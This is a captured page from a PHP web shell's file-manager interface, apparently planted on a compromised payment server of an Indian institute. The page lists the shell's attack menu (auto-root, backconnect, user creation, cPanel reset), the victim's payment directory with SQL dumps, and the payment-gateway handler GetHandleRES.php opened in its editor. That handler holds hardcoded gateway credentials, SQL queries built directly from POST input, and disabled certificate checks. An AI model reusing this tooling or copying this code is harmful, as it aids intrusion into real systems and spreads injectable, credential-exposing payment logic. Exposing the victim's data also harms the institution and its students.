Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
temppayment /
pg /
fees /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
CSS
[ DIR ]
drwxr-xr-x
alumni-form-ag
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
css-ag
[ DIR ]
drwxr-xr-x
font-awesome
[ DIR ]
drwxr-xr-x
hdfcpg24
[ DIR ]
drwxr-xr-x
hdfcstatusapi
[ DIR ]
drwxr-xr-x
hosted_php
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
irdpg
[ DIR ]
drwxr-xr-x
jsofpopup
[ DIR ]
drwxr-xr-x
php-kit-old
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
razorpay-php
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
student
[ DIR ]
drwxr-xr-x
style
[ DIR ]
drwxr-xr-x
uploadDoc
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
Checksum.php
642
B
-rw-r--r--
FailedTRAN.php
6.42
KB
-rw-r--r--
ForgetPassword.php
3.02
KB
-rw-r--r--
ForgetPasswordPage.php
3.34
KB
-rw-r--r--
GetHandleRES.php
10.87
KB
-rw-r--r--
Index1.html
11.28
KB
-rw-r--r--
PaymentHandler.php
20.11
KB
-rw-r--r--
README.md
1.86
KB
-rw-r--r--
Reciept.disabledphp
5.1
KB
-rw-r--r--
Reciept.php
6.66
KB
-rw-r--r--
STATUSAPI-samplecode.php
3.58
KB
-rw-r--r--
SendPerformREQ.php
9.45
KB
-rw-r--r--
StatusTRANold.php
6.11
KB
-rw-r--r--
StatusTran.php
6.81
KB
-rw-r--r--
WIRING INFORMATION REQUIREMENT...
151.53
KB
-rw-r--r--
account.php
3.11
KB
-rw-r--r--
ack.php
8.32
KB
-rw-r--r--
alumnifee.html
16.29
KB
-rw-r--r--
billdesk.disabledphp
1.86
KB
-rw-r--r--
calendar.css
2.65
KB
-rw-r--r--
calendar.js
16.85
KB
-rw-r--r--
calendar_form.php
18.27
KB
-rw-r--r--
corner-bottomleft.jpg
334
B
-rw-r--r--
corner-bottomright.jpg
341
B
-rw-r--r--
corner-topleft.jpg
335
B
-rw-r--r--
corner-topright.jpg
348
B
-rw-r--r--
database.php
2.49
KB
-rw-r--r--
donatebilldesk.php
2.6
KB
-rw-r--r--
donatehdfc.php
11.19
KB
-rw-r--r--
donationmail.php
7.73
KB
-rw-r--r--
error_log
13.22
MB
-rw-r--r--
export-atmb23.php
1.54
KB
-rw-r--r--
export-jmpfeb2021.php
1.44
KB
-rw-r--r--
export-mgrsajan2021.php
1.44
KB
-rw-r--r--
export-pgddsai.php
1.39
KB
-rw-r--r--
export.php
1.29
KB
-rw-r--r--
favicons.png
397
B
-rw-r--r--
formvalidator.php
14.1
KB
-rw-r--r--
giveback.php
19.01
KB
-rw-r--r--
giveback_backup.php
10.46
KB
-rw-r--r--
giveback_beforeeditedbyankit.p...
19.09
KB
-rw-r--r--
handlePaymentResponse.php
4.04
KB
-rw-r--r--
hdfc-pg-confirm.php
3.67
KB
-rw-r--r--
hdfc-pg-pay-old.php
5.42
KB
-rw-r--r--
hdfc-pg-pay.php
6.17
KB
-rw-r--r--
hdfc-pg-response.php
2.2
KB
-rw-r--r--
history.php
1.9
KB
-rw-r--r--
home.html
1.04
KB
-rw-r--r--
index-oldmain.php
35.8
KB
-rw-r--r--
index.html
337
B
-rw-r--r--
index.php
97
B
-rw-r--r--
index1032015.php
22.05
KB
-rw-r--r--
indexb.php
22.97
KB
-rw-r--r--
indexfortest.html
28.11
KB
-rw-r--r--
indexold.php
23.13
KB
-rw-r--r--
initiatePayment.php
1.18
KB
-rw-r--r--
initiatePaymentDataForm.php
1.89
KB
-rw-r--r--
initiateRefund.php
1.66
KB
-rw-r--r--
initiateRefundDataForm.php
1.72
KB
-rw-r--r--
jquery-latest.js
166.11
KB
-rw-r--r--
jquery.js
76.54
KB
-rw-r--r--
login.html
780
B
-rw-r--r--
logo.jpg
23.55
KB
-rw-r--r--
logo.png
10.94
KB
-rw-r--r--
logocolor.png
26.78
KB
-rw-r--r--
misp.html
14.15
KB
-rw-r--r--
misp.php
12.61
KB
-rw-r--r--
newstudent.php
9.72
KB
-rw-r--r--
pay.php
2.45
KB
-rw-r--r--
paymenthistory.php
1.94
KB
-rw-r--r--
pg-Ram.html
93.09
KB
-rw-r--r--
pg-backup141117.html
31.63
KB
-rw-r--r--
pg-bkp-1112021.html
80.88
KB
-rw-r--r--
pg-bkp.html
82.53
KB
-rw-r--r--
pg-bkp111121.html
93.02
KB
-rw-r--r--
pg-bkp7721.html
78.9
KB
-rw-r--r--
pg-bkpbeforeriisecalc.html
99.94
KB
-rw-r--r--
pg-problem1.html
42.31
KB
-rw-r--r--
pg-test.html
45.08
KB
-rw-r--r--
pg-testrazorpay6721.html
79.48
KB
-rw-r--r--
pg.html
153.52
KB
-rw-r--r--
pg1.html
39.48
KB
-rw-r--r--
pghdfc.html
137.01
KB
-rw-r--r--
phdcheckstatus.php
1.07
KB
-rw-r--r--
plist-gian.php
10.01
KB
-rw-r--r--
plist-retrace18.php
9.77
KB
-rw-r--r--
post.php
1.08
KB
-rw-r--r--
print.png
832
B
-rw-r--r--
razor-config.php
296
B
-rw-r--r--
razor-pay.php
6.02
KB
-rw-r--r--
recounsiliation.php
6.15
KB
-rw-r--r--
register.php
2.47
KB
-rw-r--r--
register1.php
2.36
KB
-rw-r--r--
register_workshop.php
9.75
KB
-rw-r--r--
schedule6g04072024.png
76.14
KB
-rw-r--r--
student.php
9.73
KB
-rw-r--r--
submittobill.php
551
B
-rw-r--r--
test.html
2.14
KB
-rw-r--r--
test.php
768
B
-rw-r--r--
testbyankit.php
1.6
KB
-rw-r--r--
thanks.php
4.42
KB
-rw-r--r--
thanksuser-manual.php
11.55
KB
-rw-r--r--
thanksuser.php
7.42
KB
-rw-r--r--
thanksusertest.php
9.59
KB
-rw-r--r--
user.php
4.84
KB
-rw-r--r--
userlist.php
472
B
-rw-r--r--
vendor.php
10.63
KB
-rw-r--r--
vendorold.php
9.86
KB
-rw-r--r--
verify.php
10.87
KB
-rw-r--r--
vpayments-1pxconf23.php
9.99
KB
-rw-r--r--
vpayments-6gworkshop24.php
10.01
KB
-rw-r--r--
vpayments-acss.php
9.69
KB
-rw-r--r--
vpayments-adb2020.php
9.76
KB
-rw-r--r--
vpayments-all.php
9.81
KB
-rw-r--r--
vpayments-all1.php
9.81
KB
-rw-r--r--
vpayments-ankit.php
6.38
KB
-rw-r--r--
vpayments-atmb23.php
10.04
KB
-rw-r--r--
vpayments-caiss.php
9.7
KB
-rw-r--r--
vpayments-compass24.php
10
KB
-rw-r--r--
vpayments-csmworkshop.php
9.7
KB
-rw-r--r--
vpayments-datar-close.php
9.72
KB
-rw-r--r--
vpayments-dilab.php
9.67
KB
-rw-r--r--
vpayments-diwalibook.php
9.73
KB
-rw-r--r--
vpayments-diwalibookdrive2020....
9.74
KB
-rw-r--r--
vpayments-dshcs.php
10
KB
-rw-r--r--
vpayments-edc24.php
10.02
KB
-rw-r--r--
vpayments-envision.php
10
KB
-rw-r--r--
vpayments-fdp2020.php
9.7
KB
-rw-r--r--
vpayments-hostel.php
9.72
KB
-rw-r--r--
vpayments-hostelfee.php
10
KB
-rw-r--r--
vpayments-icon22.php
9.99
KB
-rw-r--r--
vpayments-ictdx-close.php
9.7
KB
-rw-r--r--
vpayments-intsemfee.php
10.02
KB
-rw-r--r--
vpayments-jacfee2020-initiated...
9.76
KB
-rw-r--r--
vpayments-jacfee2020.php
9.77
KB
-rw-r--r--
vpayments-jacfee2024.php
10
KB
-rw-r--r--
vpayments-jmpfeb2021.php
10.18
KB
-rw-r--r--
vpayments-libfine.php
10.26
KB
-rw-r--r--
vpayments-mgrsajan2021.php
10.18
KB
-rw-r--r--
vpayments-mtech24hostel.php
10.02
KB
-rw-r--r--
vpayments-ngwin.php
9.69
KB
-rw-r--r--
vpayments-nwcbh-close.php
9.74
KB
-rw-r--r--
vpayments-odyssey20.php
9.7
KB
-rw-r--r--
vpayments-pgddsai-entranceexam...
9.95
KB
-rw-r--r--
vpayments-pgddsai.php
10.08
KB
-rw-r--r--
vpayments-preplacement2020.php
10.2
KB
-rw-r--r--
vpayments-rdbaccess.php
7.22
KB
-rw-r--r--
vpayments-retrace2019-close.ph...
9.75
KB
-rw-r--r--
vpayments-riise.php
9.73
KB
-rw-r--r--
vpayments-vlsirevisit2020.php
10.23
KB
-rw-r--r--
vpayments-vlsirevisit2023.php
9.98
KB
-rw-r--r--
vpayments.php
11.17
KB
-rw-r--r--
wanted_sql_file.sql
2.33
MB
-rw-r--r--
webiiit_pg.sql
1.42
MB
-rw-r--r--
webiiit_pg_bkp_24102020.sql
7.69
MB
-rw-r--r--
welcome.backup.php
18.06
KB
-rw-r--r--
welcome.php
23.42
KB
-rw-r--r--
welcome.txt
23.38
KB
-rw-r--r--
welcome1032015.php
23.37
KB
-rw-r--r--
welcomebill.php
5.29
KB
-rw-r--r--
welcomehdfc.php
5.8
KB
-rw-r--r--
welcomeold.php
23.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GetHandleRES.php
<?php /* ****************************************************************** * COMPANY - FSS Pvt. Ltd. ***************************************************************** Name of the Program : Hosted UMI Sample Pages Page Description : Receives response from Payment Gateway and handles the same Response parameters : Result,Ref,Transaction id, Payment id,Auth Code, Track ID, Amount, UDF1-UDF5 Values from Session : No Values to Session : No Created by : FSS Payment Gateway Team Created On : 19-04-2011 Version : Version 2.0 ***************************************************************** */ /* Disclaimer:- Important Note in Sample Pages - This is a sample demonstration page only ment for demonstration, this page should not be used in production - Transaction data should only be accepted once from a browser at the point of input, and then kept in a way that does not allow others to modify it (example server session, database etc.) - Any transaction information displayed to a customer, such as amount, should be passed only as display information and the actual transactional data should be retrieved from the secure source last thing at the point of processing the transaction. - Any information passed through the customer's browser can potentially be modified/edited/changed/deleted by the customer, or even by third parties to fraudulently alter the transaction data/information. Therefore, all transaction information should not be passed through the browser to Payment Gateway in a way that could potentially be modified (example hidden form fields). */ include_once "database.php"; $logs ="Update payment SET Logs = 'Error:".$_POST['Error']."Result:".$_POST['ErrorText']."Payment ID: ".$_POST['paymentid']."Merchant Id = ".$_POST['trackid']."' Where payment.id='".$_POST['trackid']."'"; echo $logs; mysql_query($logs,$db_connection); /* Capture the IP Address from where the response has been received */ $strResponseIPAdd = getenv('REMOTE_ADDR'); /* Check whether the IP Address from where response is received is PG IP */ if($strResponseIPAdd == "221.134.101.175" || $strResponseIPAdd == "221.134.101.187" || $strResponseIPAdd == "221.134.101.166") { $ErrorTx = isset($_POST['Error']) ? $_POST['Error'] : ''; //Error Number $ErrorResult = isset($_POST['ErrorText']) ? $_POST['ErrorText'] : ''; //Error message $payID = isset($_POST['paymentid']) ? $_POST['paymentid'] : ''; //Payment Id $METRANID = isset($_POST['trackid'])?$_POST['trackid']:''; //Merchant Track ID /* Merchant (ME) checks, if error number is NOT present, then create Dual Verification request, send to Paymnent Gateway. ME SHOULD ONLY USE PAYMENT GATEWAY TRAN ID FOR DUAL VERIFICATION */ /* NOTE - MERCHANT MUST LOG THE RESPONSE RECEIVED IN LOGS AS PER BEST PRACTICE */ if ($ErrorTx == '') { //To collect transaction result $txmessage = isset($_POST['result']) ? $_POST['result'] : ''; //To collect Payment Gateway Transaction ID, this value will be used in dual verification request $pgtxnid = isset($_POST['tranid']) ? $_POST['tranid'] : ''; //To collect Merchant Track ID $txmeid = isset($_POST['trackid']) ? $_POST['trackid'] : ''; //To collect amount from response $txamount = isset($_POST['amt'])?$_POST['amt']:''; $logs ="Update payment SET Logs = 'Error:".$_POST['Error']."Result:".$_POST['result']."Payment ID: ".$_POST['paymentid']."Merchant Id = ".$_POST['trackid']." Amount: ".$_POST['amt']."' Where payment.id='".$_POST['trackid']."'"; echo $logs; mysql_query($logs,$db_connection); //check result is captured or approved i.e. successful if ($txmessage == 'CAPTURED' || $txmessage == 'APPROVED') { //result is successful, hence create dual verification request //ID given by bank to Merchant (Tranportal ID), same iD that was passed in initial request $TranportalID = "<id>70004487</id>"; //Password given by bank to merchant (Tranportal Password), same password that was passed in initial request $TranportalPWD = "<password>70004487</password>"; // Pass DUAL VERIFICATION action code, always pass "8" for DUAL VERIFICATION $straction = "<action>8</action>"; //Pass PG Transaction ID for Dual Verification $reqpgtxnid = "<transid>".$pgtxnid."</transid>"; //create string for request of input parameters $ReqString = $TranportalID.$TranportalPWD.$straction.$reqpgtxnid; //DUAL VERIFIACTION URL, this is test environment URL, contact bank for production DUAL Verification URL $DualReqURL = "https://securepg.fssnet.co.in/pgway/servlet/TranPortalXMLServlet"; //PHP FUNCTION for connection and posting the request ..starts here $dvreq = curl_init() or die(curl_error()); curl_setopt($dvreq, CURLOPT_POST,1); curl_setopt($dvreq, CURLOPT_POSTFIELDS,$ReqString); curl_setopt($dvreq, CURLOPT_URL,$DualReqURL); curl_setopt($dvreq, CURLOPT_PORT, 443); curl_setopt($dvreq, CURLOPT_RETURNTRANSFER, 1); curl_setopt($dvreq, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($dvreq, CURLOPT_SSL_VERIFYPEER,0); $dataret=curl_exec($dvreq) or die(curl_error()); curl_close($dvreq); //PHP FUNCTION for connection and posting the request ..ends here //XML response received for DUAL VERIFICATION. /* NOTE - MERCHANT MUST LOG THE RESPONSE RECEIVED IN LOGS AS PER BEST PRACTICE */ $DVresponse = $dataret; //print_r $DVresponse; $GEnXMLForm="<xmltg>".$DVresponse."</xmltg>"; $xmlSTR = simplexml_load_string( $GEnXMLForm,null,true); //Collect DUAL VERIFICATION RESULT $getTxnResult = $xmlSTR-> result; $logs ="Update payment SET Logs = 'Error:".$_POST['Error']."Result:".$_POST['result']."Payment ID: ".$_POST['paymentid']."Merchant Id = ".$_POST['trackid']." Amount: ".$_POST['amt']." Xml Responce:".$DVresponse."' Where payment.id='".$_POST['trackid']."'"; echo $logs; mysql_query($logs,$db_connection); //If DUAL VERIFICATION RESULT is CAPTURED or APPROVED if ($getTxnResult == 'CAPTURED' || $getTxnResult == 'APPROVED') { //collecting all mandatory parameters to update merchant database $getTxnResult = $xmlSTR->result; //It will give Inquiry Result. $getTxnAvr = $xmlSTR->avr; //It will give AVR value. $getTxnPostDate = $xmlSTR->postdate; //It will give transaction date. $getTxnAuthCode = $xmlSTR->auth; //It will give Auth Code. $getTxnTrackID=$xmlSTR->trackid; //It will give Merchant TrackID/Merchant Reference NO $getTxnTranid=$xmlSTR->tranid; //It will give TransactionID $getTxnAmt=$xmlSTR->amt; //It will give Transaction Amount $getTxnPaymentId=$xmlSTR->paymentid; //It will give PaymentID $getTxnRefID = $xmlSTR->ref; //It will give Ref.NO. $getUDF1 = $xmlSTR->udf1; //It will give udf1 $getUDF1 = $xmlSTR->udf2; //It will give udf2 $getUDF1 = $xmlSTR->udf3; //It will give udf3 $getUDF1 = $xmlSTR->udf4; //It will give udf4 $getUDF1 = $xmlSTR->udf5; //It will give udf5 $sql ="Update payment set Status='".$getTxnResult." with TransactionID= ".$getTxnTranid."' Where id='".$METRANID."'"; //echo $sql; mysql_query($sql,$db_connection); /* IMPORTANT NOTE - MERCHANT DOES RESPONSE HANDLING AND VALIDATIONS OF TRACK ID, AMOUNT AT THIS PLACE. THEN ONLY MERCHANT SHOULD UPDATE TRANACTION PAYMENT STATUS IN MERCHANT DATABASE AT THIS POSITION AND THEN REDIRECT CUSTOMER ON RESULT PAGE */ /* !!IMPORTANT INFORMATION!! During redirection, ME can pass the values as per ME requirement. NOTE: NO PROCESSING should be done on the RESULT PAGE basis of values passed in the RESULT PAGE from this page. ME does all validations on the responseURL page and then redirects the customer to RESULT PAGE ONLY FOR RECEIPT PRESENTATION/TRANSACTION STATUS CONFIRMATION For demonstration purpose the result and track id are passed to Result page */ $REDIRECT = 'REDIRECT=http://payments.iiitd.edu.in/pg/fees/StatusTRAN.php'; echo $REDIRECT; } else { /* IMPORTANT NOTE - MERCHANT SHOULD UPDATE TRANACTION PAYMENT STATUS IN MERCHANT DATABASE AT THIS POSITION AND THEN REDIRECT CUSTOMER ON RESULT PAGE */ $sql ="Update payment set Status='Failed' Where id='".$METRANID."'"; include_once "database.php"; //echo $sql; mysql_query($sql,$db_connection); $REDIRECT = 'REDIRECT=http://payments.iiitd.edu.in/pg/fees/FailedTRAN.php?Error='.$ErrorResult; echo $REDIRECT; } } else { /* IMPORTANT NOTE - MERCHANT SHOULD UPDATE TRANACTION PAYMENT STATUS IN MERCHANT DATABASE AT THIS POSITION AND THEN REDIRECT CUSTOMER ON RESULT PAGE */ $sql ="Update payment set Status='".$txmessage."' Where id='".$METRANID."'"; include_once "database.php"; //echo $sql; mysql_query($sql,$db_connection); $REDIRECT = 'REDIRECT=http://payments.iiitd.edu.in/pg/fees/FailedTRAN.php?Error='.$ErrorResult; echo $REDIRECT; } //echo $REDIRECT; } else { /* ERROR IN TRANSACTION PROCESSING IMPORTANT NOTE - MERCHANT SHOULD UPDATE TRANACTION PAYMENT STATUS IN MERCHANT DATABASE AT THIS POSITION AND THEN REDIRECT CUSTOMER ON RESULT PAGE */ $sql ="Update payment set Status='ERROR IN TRANSACTION PROCESSING' Where id='".$METRANID."'"; include_once "database.php"; echo $sql; mysql_query($sql,$db_connection); $REDIRECT = 'REDIRECT=http://payments.iiitd.edu.in/pg/fees/FailedTRAN.php?Error='.$ErrorResult; echo $REDIRECT; } } else //IF ip address recevied is not Payment Gateway IP Address { /* IMPORTAN NOTE - IF IP ADDRESS MISMATCHES, ME LOGS DETAILS IN LOGS, UPDATES MERCHANT DATABASE WITH PAYMENT FAILURE, REDIRECTS CUSTOMER ON FAILURE PAGE WITH RESPECTIVE MESSAGE */ $sql ="Update payment set Status='IP ADDRESS MISMATCHES' Where id='".$METRANID."'"; include_once "database.php"; echo $sql; mysql_query($sql,$db_connection); $ipString=@getenv("HTTP_X_FORWARDED_FOR"); $addr = explode(",",$ipString); $ip=$addr[sizeof($addr)-1]; $REDIRECT = 'REDIRECT=http://payments.iiitd.edu.in/pg/fees/FailedTRAN.php?Error='.$ErrorResult; echo $REDIRECT; } /* <!-- to get the IP Address in case of proxy server used function getIPfromXForwarded() { $ipString=@getenv("HTTP_X_FORWARDED_FOR"); $addr = explode(",",$ipString); return $addr[sizeof($addr)-1]; } */ ?>
Close